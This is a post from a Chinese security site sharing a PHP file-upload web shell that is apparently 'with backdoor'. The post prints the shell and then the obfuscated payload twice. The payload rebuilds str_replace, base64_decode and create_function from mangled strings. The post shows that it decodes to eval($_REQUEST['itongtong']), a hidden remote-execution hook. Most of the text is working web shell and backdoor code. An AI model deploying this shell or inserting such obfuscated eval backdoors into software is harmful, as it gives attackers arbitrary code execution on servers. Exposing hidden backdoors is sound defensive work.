微慑信息网

分享一个PHP上传脚本[带后门]-vulsee.com

<?php
echo "[modify] -by vulsee.com";
echo "<br>".php_uname()."<br>";
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='zb'><input type='submit' name='upload' value='upload'>
</form>";
if($_POST['upload']) {
  if(@copy($_FILES['zb']['tmp_name'], $_FILES['zb']['name'])) {
  echo "Success!";
  } else {
  echo "Failed to Upload.";
  }
}
?>
okokok<?php
$p = getcwd();
echo $p;
?>
<title>[modify]</title>
<?php

$uf="aXRvbmd0b"; 
$ka="ZXZhbCgkX1"; 
$pjt="JFUVVFU1Rb"; 
$vbl = str_replace("ti","","tistittirti_rtietipltiatice"); 
$iqw="25nXSk7"; 
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke"); 
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn"); 
$mpy = $sbp('', $bkf($vbl("W", "", $ka.$pjt.$uf.$iqw))); $mpy(); 
?>

<?php

$uf="aXRvbmd0b"; 
$ka="ZXZhbCgkX1"; 
$pjt="JFUVVFU1Rb"; 
$vbl = str_replace("ti","","tistittirti_rtietipltiatice"); 
$iqw="25nXSk7"; 
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke"); 
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn"); 
$mpy = $sbp('', $bkf($vbl("W", "", $ka.$pjt.$uf.$iqw))); $mpy(); 
?>

 

后面解码出来为:

$mpy = create_function('',eval($_REQUEST["itongtong"]));

 $mpy(); 

create_function在php7已经不支持了

赞(0) 打赏
转载请附本站链接,未经允许不得转载,,谢谢:微慑信息网-VulSee.com » 分享一个PHP上传脚本[带后门]-vulsee.com

评论 抢沙发

微慑信息网 专注工匠精神

微慑信息网-VulSee.com-关注前沿安全态势,聚合网络安全漏洞信息,分享安全文档案例

访问我们联系我们

觉得文章有用就打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫

微信扫一扫

登录

找回密码

注册